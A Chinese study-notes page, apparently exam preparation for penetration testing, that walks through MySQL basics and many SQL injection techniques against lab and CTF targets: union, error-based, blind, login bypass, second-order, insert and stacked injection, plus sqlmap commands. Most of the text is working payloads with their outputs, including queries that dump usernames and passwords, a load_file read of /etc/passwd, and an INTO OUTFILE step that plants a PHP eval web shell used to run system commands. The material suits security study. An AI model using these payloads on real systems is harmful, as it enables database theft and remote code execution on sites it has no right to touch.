pte学习_SQL注入1

news2025/2/24 8:58:49

一、phpstudy使用及mysql数据库基础

①进入mysql安装路径的/bin中打开cmd

mysql -u root -p   //登录MYSQL数据库
show databases;    // 查看数据库
drop database mysql; //删除mysql数据库
create database pte;  //创建pte数据库
use pte; //进入数据库
show tables; //查看表
desc user;  //查看表的结构

②创建user表,primary key auto_increment设置为主键

create table user (
    -> uid int(32) primary key auto_increment,
    -> uname varchar(32),
    -> upasswd varchar(32)
    -> );                    

③插入数据:

insert into user
    -> (uid,uname,upasswd)
    -> values
    -> (1,"张三","1235fg");

④查询user表所有数据

select * from user;

⑤指定查询uname,upasswd的数据

select uname,upasswd from user;

⑥查询密码为123的用户名

select uname  from user where upasswd = 123;

二、SQL注入-联合查询

判断注入类型
and

1=1 and 1=1 //真
1=2 and 1=1 //假
1=2 and 1=2 //假

判断是数字型注入还是字符型注入

' 、" 、)、 ')、 ")  //字符型注入闭合方式
--   #   %23   %00   //4种注释符;%23是#的URL编码; --+的+是为了隔开

举例:

select * from users where id='$id' limit 0,1;  //原查询语句
select * from users where id='2' limit 0,1;  //传入参数  $id=2
select * from users where id='1 and 1=1 --+' limit 0,1;  //传入参数-数值型  $id=1 and 1=1 --+    
select * from users where id='1' and 1=2 --+' limit 0,1;  //传入参数-字符型  $id=1' and 1=1 --+ 

联合查询
实例中列数为3,使用两种方式order by、union来判断列数;
order by前的语句为真(前提),order by 列数 > 实际列数,会报错;二分法判断正确列数。
union前的语句无论真假,union 后接的列数和实际列数不一样时会报错;例子中uinion前id=-1和id=1返回结果不一样。

#判断实际列数-order by
select * from users where id='1' order by 3 --+' limit 0,1;  //传入参数  $id=1' order by 3 --+
#查看回显位置-union
#浏览器只能展示一个select语句的查询结果,也就是union前面的结果,如果使前面的查询结果为空,则展示union后的查询结果
select * from users where id='-1' union select 1,2,3 --+' limit 0,1;  //传入参数  $id=-1' union select 1,2,3 --+

常用函数

version()      //查数据库版本
user()	       //查询数据库使用者
database()     //查询数据库名称
load_file()    //读取本地文件+绝对路径  load_file("/etc/passwd")
into outfile //"一句话木马" into outfile "var/www/html/pte.php" --+
group_concat() //结果集中到一行
hex()		   //进行16进制编码 *可绕过一些限制*
unhex()		   //进行16进制解码

通用表

information_schema.schemata  //存储了数据库中所有数据库的库名
information_schema.tables    //存储了数据库中所有数据表的表名
information_schema.columns   //存储了数据库中所有列的列名

常见字段

table_schema  //数据库名称
table_name    //表名
column_name   //列名

进一步操作

#查询数据库库名
select * from users where id='-1' union select 1,database(),3 --+' limit 0,1;
#查询表名;group_concat():查询的结果集中到一行展示
select * from users where id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+  
#查询列名
select * from users where id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
#查字段;冒号用于分隔显示     id:username:password
select * from users where id='-1' union select 1,group_concat(id,':',username,':',password),3 from users --+

注意:MD5不可逆,无法解密->进入数据库对账户的密码进行替换->将新密码MD5加密后替换旧密码.

select "<?PHP @eval($_POST['c']);?>" into outfile "var/www/html/pte.php" --+
//访问pte.php,使用POST方法传入参数
//c=phpinfo();
//c=system("ls");
//c=system("cat ../flag.txt");

三、报错注入

函数:
rand():生成随机数,如果给予了参数,则随机数是固定的

 select rand(5) from user;

floor():对随机生成数进行向下取整

select floor(rand(5)*2) from user; //随机生成数大于0.5,输出为1,小于0.5输出0

group by():根据一个或多个列对结果集进行分组,一检二写入;(0用来占位?)

原user表:

+-----+--------+------------+
| uid | uname  | upasswd    |
+-----+--------+------------+
|   1 | 张三    | 123        |
|   2 | 李四    | rg563      |
|   3 | 铪好    | rg56..3    |
|   4 | 王五    | rg56.dad.3 |
|   5 | 王六    | r5111113   |
|   6 | 老六    | 123        |
|   7 | 张三    | rgtw45     |
+-----+--------+------------+
select uname a,count(*) x from user group by a;  //查询语句,索引:先取张三,是个空表,填入数据,然后取李四,下面表中不存在李四,将李四填入表中,以此推类,到第七行,uname为张三,下列表中已存在张三,所以x从1->2。
+--------+---+
| a      | x |
+--------+---+
| 张三    | 2 |
| 李四    | 1 |
| 王五    | 1 |
| 王六    | 1 |
| 老六    | 1 |
| 铪好    | 1 |
+--------+---+

concat():拼接查询结果

select concat(database(),floor(rand(0)*2));  //前一个查询结果pte,后一个为0
+-------------------------------------+
| concat(database(),floor(rand(0)*2)) |
+-------------------------------------+
| pte0                                |
+-------------------------------------+

针对联合查询没有回显的,使用报错注入将结果带出:count(*)、floor(rand(0)*2)、group by()四个函数联合报错。
①查询数据库

?id=1' union select null,count(*),concat((select database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+  //回显 security1,1是floor(rand(0)*2)报错的1

②查询表

?id=-1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+ //回显 emails1

③查询字段

?id=-1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='emails' limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+ //通过更改limit函数参数,获取更多字段

最后获取
数据库 security
关键 表users
关键 字段username、password

?id=-1' union select null,count(*),concat((select username,password from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+ //报错Operand should contain 1 column(s)

继续尝试,查询用户名

?id=-1' union select null,count(*),concat((select username from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+  //回显Dumb1

查询对应密码

?id=-1' union select null,count(*),concat((select password from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+ //回显Dumb1

SQLMAP使用

sqlmap -u "http://XXXXXXX?id=1"  //如果存在注入点,将会显示Web容器、数据库版本信息。
sqlmap -u "http://XXXXXXX?id=1" --dbs   //读取数据库        
sqlmap -u "http://XXXXXXX?id=1" --current-db  //查看当前应用程序所用数据库
sqlmap -u "http://XXXXXXX?id=1"--tables -D "security"  //列出指定数据库的所有表
sqlmap -u "http://XXXXXXX?id=1"--columns -T "users" -D "security"  //读取指定表中的字段名称
sqlmap -u "http://XXXXXXX?id=1" --dump-C "username,password" -T "users" -D"security"  //读取指定字段的内容

–dump 参数意为转存数据
-C 参数指定字段名称
-T 指定表名
-D 指定数据库名称
如果有数据库关键字需要加上"[]",如[User],读取数据后,数据会存到sqlmap/output/下

四、盲注

函数:
substr():截取函数,共三个参数,第一个是要截取的字符串,第二个是从第几位开始截取(超出则为空),第三个是截取多少位。

select substr(database(),1,1);

结果:

+------------------------+
| substr(database(),1,1) |
+------------------------+
| p                      |
+------------------------+

ascii():转化为对应ascii码。

select ascii(substr(database(),1,1));

结果:

+-------------------------------+
| ascii(substr(database(),1,1)) |
+-------------------------------+
|                           112 |
+-------------------------------+

length():判断长度

select length(database()); //输出3

盲注:系统只会回答是或者不是,就需要多次去判断。

#挨个判断数据库名的字符
?id=1' and ascii(substr((select database()),1,1))>100 --+ 
#猜表数量
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
#猜测表长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
#猜测表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+

五、万能密码

select * from users where username = '$id' and password = '$pass' //登录时需要输入账号和密码
select * from users where username = 'admin' #  and password = '$pass'
select * from users where username = 'admin' or 1 = 1 #       //知道用户名admin
select * from users where username = 'admin' or 1 = 1 or 1 = 1 and password =123 //#号被过滤时使用,and优先or
1 = 1 and password =123 //false
'admin' or 1 = 1 //true
true or false  //true

不知道用户名

select * from users where username = '1' or 1 = 1 #'          //输入  1' or '1' = '1 #
select * from users where username = '1' or 1 = 1 
admin'  or '1' = '1' or '1' = '1  //字符型,#号被过滤时使用
admin  or 1 = 1 or 1 = 1 //数值型

六、二次注入

触发:select、insert、update、delete
前提条件:
①攻击语句放数据库中
②其他功能点

注册(123、123’、123")

insert    //admin'#,123,设置为admin是为了重置admin的密码,'为闭合,#为注释掉update后面的password语句

首次登录

select  // admin'#, 123

重置密码

UPDATE table_name SET column1=value1 WHERE some_column=some_value;

update  //123qwe

二次登录

admin
123qwe
aaa/aaa        //①注册
aaa' and 1=1#  //②注册登录,页面同步骤一
aaa' and 1=2#  //③注册登录

步骤一结果:
在这里插入图片描述

步骤三结果:

在这里插入图片描述

aaa' order by 1 #  //注册登录,显示如图1
aaa' order by 2 #  //注册登录,显示如图2

查询数据库

a100' union select group_concat(schema_name) from information_schema.schemata #  
//前句不成立才显示后面查询结果:ctftraining,information_schema,mysql,performance_schema,test 

查询表

a100' union select group_concat(table_name) from information_schema.tables where table_schema="ctftraining" # 
//flag,news,users

查询字段

a100' union select group_concat(column_name) from information_schema.columns where table_name="flag" # 
//flag

查询flag

a100' union select group_concat(flag) from flag # 
//flag{fe252838-0a63-4cf9-b73f-84893e982bd1}

七、insert注入

前提条件:不能破坏原有语句,格式需要正确

INSERT INTO table_name (value1, value2,....);
INSERT INTO table_name (column1, column2,...) VALUES (value1, value2,....);

在这里插入图片描述

insert into article(title,author,descriptiom,content,dateline)
value ((select database()),'2','3','4';
select * from article;

结果

+----------------------------------------------------+
|title   | author | descriptiom | content | dateline |
+----------------------------------------------------+
|sqltest2| 2      |  3          | 4       | 12644333 |
+----------------------------------------------------+
insert into article(title,author,descriptiom,content,dateline)
value ('(select database())','2','3','4',123);  //database()不执行,是字符串select database()
insert into article(title,author,descriptiom,content,dateline)
value (''+(select database())+'','2','3','4',123); //带引号操作,通过运算将结果加起来

同时插入多条语句

insert into article(title,author,descriptiom,content,dateline)
value ('1','2','3','4',123),('1','2',(select database()),'4');

开始注入

方式一

insert into article(title,author,description,content,dateline) values('1111','2221','3133',''-ascii('a')-'',1669269008)

①获取数据库名

title=11&author=2221&description=33333&content='-ascii('s')-'&button=%E6%8F%90%E4%BA%A4    //返回ASCII码
title=11&author=2221&description=33333&content='-ascii(substr((select database()),1,1))-'&button=%E6%8F%90%E4%BA%A4     //依次遍历,获取数据库名sql

②获取表名

title=11&author=2221&description=33333&content='-ascii(substr((select group_concat(table_name) from  information_schema.tables where table_schema='sql'),1,1))-'&button=%E6%8F%90%E4%BA%A4  //依次遍历,获取表名sql1

③获取字段

title=11&author=2221&description=33333&content='-ascii(substr((select group_concat(column_name)) from  information_schema.tables where table_name='sql1'),1,1))-'&button=%E6%8F%90%E4%BA%A4  //依次遍历,获取数据库名sql

方式二:

insert into article(title,author,description,content,dateline) values('111','1123','333','4444',123),((select database()),2,3,'',1669342966) //插入      444',123),((select database()),2,3,'

①查询数据库名

title=111&author=1123&description=333&content=4444',123),((select database()),2,3,'&button=%E6%8F%90%E4%BA%A4  //输出hazel

②查询表名

title=111&author=1123&description=333&content=4444',123),((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,'&button=%E6%8F%90%E4%BA%A4  // 输出article

③查询字段

title=111&author=1123&description=333&content=4444',123),((select group_concat(column_name) from information_schema.columns where table_name='article'),2,3,'&button=%E6%8F%90%E4%BA%A4  // 输出id,title,author,description,content,dateline

原查询语句

insert into article(title,author,description,content,dateline) values('111','222','333','4444',123),((select group_concat(column_name) from information_schema.columns where table_name='article'),2,3,'',1669361912)

insertsql2
注册时报错,单引号不行;再尝试双引号,成功。

insert into users(email,username,password) values('3@qq.com','3"','eccbc87e4b5ce2fe28308fd9f2a7baf3')bool(true)

开始注入:register.php

insert into users(email,username,password) values('14@qq.com','1'-1-'1','eccbc87e4b5ce2fe28308fd9f2a7baf3')bool(true) //登录后返回-1
email=2@qq.com&username=0'-length((select+database()))-'0&password=1 //返回-9
username=0'-ascii(substr(((select * from flag))1,1))-'0  //逗号被过滤可以用from 1 for 1,空格用+代替;输出-102
email=1§%40qq.com&username=0'-ascii(substr(((select+*+from+flag))from+§1§+for+1))-'0&password=1  //选择参数进行爆破,注意使用单线程

八、堆叠注入:可以同时执行多条语句

sql1;sql2;sqll3....

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/45404.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如果把网络原理倒过来看,从无到有,一切都清晰了(上)

长歌吟松风&#xff0c;曲尽河星稀。 前言 我发现绝大数人和我一样对网络原理充满困惑&#xff0c;不是因为不好理解&#xff0c;而是它往往都是直接告诉你它是什么&#xff0c;但它并不告诉你为什么要这样。 而我让离网络最近的一次距离是在一个偶然停电的深夜&#xff0c;周…

实现响应式布局有几种方法

目录 &#x1f53d; 什么是响应式布局 响应式与自适应区别 &#x1f53d; 响应式布局方法总结 响应式布局方法一&#xff1a;CSS3媒体查询 响应式布局方法二&#xff1a;百分比% 响应式布局方法三&#xff1a;vw/vh 响应式布局方法四&#xff1a;rem 响应式布局方法五&…

IPv6进阶:OSPFv3 路由汇总实验配置

实验拓扑 实验需求 R1、R2完成接口IPv6地址的配置&#xff1b;R1、R2按图示运行OSPF。R2的三个Loopback接口并不直接激活OSPFv3&#xff0c;而是以重发布的形式注入&#xff1b;在R1、R2上分别执行OSPF路由汇总&#xff0c;使得双方的路由表中关于对方的Loopback只学习到一条汇…

CANoe-vTESTstudio之State Diagram编辑器(入门介绍)

1. 什么是State Diagram编辑器 Test Diagram编辑器是使用具有各种功能的图形元素对测试用例的测试步骤的测试顺序进行建模。而State Diagram Editor,状态图表编辑器,是针对被测系统基于状态的系统行为,在状态图表编辑器中以图形方式建模,从而可以自动生成要测试的SUT(sys…

代码随想录算法训练营第四十八天| LeetCode198. 打家劫舍、LeetCode213. 打家劫舍 II、LeetCode337. 打家劫舍 III

一、LeetCode198. 打家劫舍 1&#xff1a;题目描述&#xff08;198. 打家劫舍&#xff09; 你是一个专业的小偷&#xff0c;计划偷窃沿街的房屋。每间房内都藏有一定的现金&#xff0c;影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统&#xff0c;如果两间相邻的…

移动设备软件开发-广播机制

广播机制 1.广播机制概述 1.1生活中的广播机制 1.显示生活中的广播就比如说村里的大喇叭&#xff0c;车上的收音机接收的广播FM广播&#xff0c;学校里的校园广播都是常见的广播&#xff0c;安卓中的广播和生活中的广播是十分类似的。 1.2广播特点 发送者 多种广播方式实…

群晖外网访问终极解决方法:IPV6+阿里云ddns+ddnsto

写在前面的话 受够了群晖的quickconnet的小水管了&#xff0c;急需一个新的解决方法&#xff0c;这是后发现移动没有公网IP&#xff0c;只有ipv6&#xff08;公网的&#xff09;&#xff0c;时候有小伙伴要问&#xff0c;要是没有ipv6就没办法访问群晖了吗&#xff1f; 不&…

吉时利KEITHELY2612B源表技术参数

作为2600B系列源表SMU系列产品的一部分&#xff0c;2612B源表SMU是全新改良版双通道SMU&#xff0c;具有紧密集成的4象限设计&#xff0c;能同步源和测量电压/电流以提高研发到自动生产测试等应用的生产率。除保留了2612A的全部产品特点外&#xff0c;2612B还具有6位半分辨率、…

Spring基础篇:高级注解编程

文章内容来自于B站孙哥说Spring第一章&#xff1a;Configuration一&#xff1a;配置Bean替换XML细节二&#xff1a;应用配置Bean工厂对象三&#xff1a;配置Bean细节分析1&#xff1a;整合Logback三&#xff1a;Component第二章&#xff1a;Bean一&#xff1a;Bean的使用1&…

Prometheus+Grafana部署

一 、Prometheus 源码安装和启动配置 普罗米修斯下载网址&#xff1a;https://prometheus.io/download/ 监控集成器下载地址&#xff1a;http://www.coderdocument.com/docs/prometheus/v2.14/instrumenting/exporters_and_integrations.html 1.实验环境 IP角色系统172.16.1…

理解浅拷贝和深拷贝以及实现方法

一、数据类型 数据分为基本数据类型(String, Number, Boolean, Null, Undefined&#xff0c;Symbol)和引用数据类型Object&#xff0c;包含&#xff08;function&#xff0c;Array&#xff0c;Date&#xff09;。 1、基本数据类型的特点&#xff1a;直接存储在栈内存中的数据 …

品牌投资与形象全面升级 | 快来认识全新的 Go 旅城通票

近日&#xff0c;Go 旅城通票&#xff08;Go City&#xff09;品牌全面升级&#xff0c;旨在提高旅游爱好者对品牌的认知。从新冠疫情大流行中阴霾中走出来的 Go 旅城通票复苏势头强劲&#xff0c;专注于技术提升&#xff0c;使命是协助旅游爱好者无论到世界各地的哪一个城市畅…

在线分析网站日志软件-免费分析网站蜘蛛的软件

搜索引擎蜘蛛的作用是什么&#xff1f;我们网站上的内容如果要想被搜索引擎收录并且给予排名&#xff0c;就必须要经过搜索引擎蜘蛛的爬取并且建立索引。所以让搜索引擎蜘蛛更好的了解我们的网站是很重要的一步&#xff01;搜索引擎蜘蛛在爬取某个网站&#xff0c;是通过网站的…

浅谈虚拟地址转换成物理地址(值得收藏)

这里&#xff0c;我们讲解一下Linux是如何将虚拟地址转换成物理地址的 一、地址转换 在进程中&#xff0c;我们不直接对物理地址进行操作&#xff0c;CPU在运行时&#xff0c;指定的地址要经过MMU转换后才能访问到真正的物理内存。 地址转换的过程分为两部分&#xff0c;分段…

Linux systemctl 详解自定义 systemd unit

Linux systemctl 详解&自定义 systemd unit systemctl 序 大家都知道&#xff0c;我们安装了很多服务之后&#xff0c;使用 systemctl 来管理这些服务&#xff0c;比如开启、重启、关闭等等&#xff0c;所以 systemctl 是一个 systemd 系统。centos 使用 systemctl 来代…

9.8 段错误,虚拟内存,内存映射 CSAPP

相信写代码的或多或少都会遇到段错误&#xff0c;segmentation fault. 今天终于看到这里面的底层原理 参考&#xff1a; https://greenhathg.github.io/2022/05/18/CMU213-CSAPP-Virtual-Memory-Systems/18-Virtual-Memory-SystemsSimple memory system exampleAddress Trans…

(转)CSS结合伪类实现icon

老规矩&#xff0c;还是先说说业务场景&#xff1a;有一个图片列表&#xff0c;可以添加、删除和更改&#xff0c;其中呢删除时设计给的设计稿时悬浮&#xff08;hover&#xff09;在图片上时显示删除的图标&#xff0c;所以就有了这个用before实现icon的场景 进入正文&#xf…

嵌入式系统开发笔记108:IO的使用方法与面向对象程序设计

文章目录前言一、IO引脚的基本概念二、映射层的设置1、映射层是原理图的直译层2、IO引脚的设置在hal.h 和 hal.cpp文件中完成&#xff08;1&#xff09;在hal.h中进行类定义&#xff08;2&#xff09;在hal.cpp中完成引脚映射三、面向对象程序设计思想1、程序设计分类2、举例3、…

DevExpress之C#界面+MATLAB动态链接库联合编程

MATLAB导出动态链接库 在MATLAB命令行中输入:deploytool,打开如下界面,选择Library Compiler 对于C#,选择.NET Assembly,点击右侧的“+”加号,添加要导出的函数 可添加多个函数 下面的类名中输入即为导出后类的名称 点击设置按钮,输入参数-C,参数的具体含义如下 …

简化MRO工业品供采交易路径,S2B2B商城助力企业构建业务一体化管理优势

在政策拉动、市场需求驱动及数字技术进步等多重力量共同作用下&#xff0c;近5年来&#xff0c;我国工业品B2B市场规模保持上升的态势。尽管2022年受疫情反复影响&#xff0c;但中国经济向好的局面并未改变&#xff0c;中国数字化经济依然会加快工业品B2B市场的发展&#xff0c…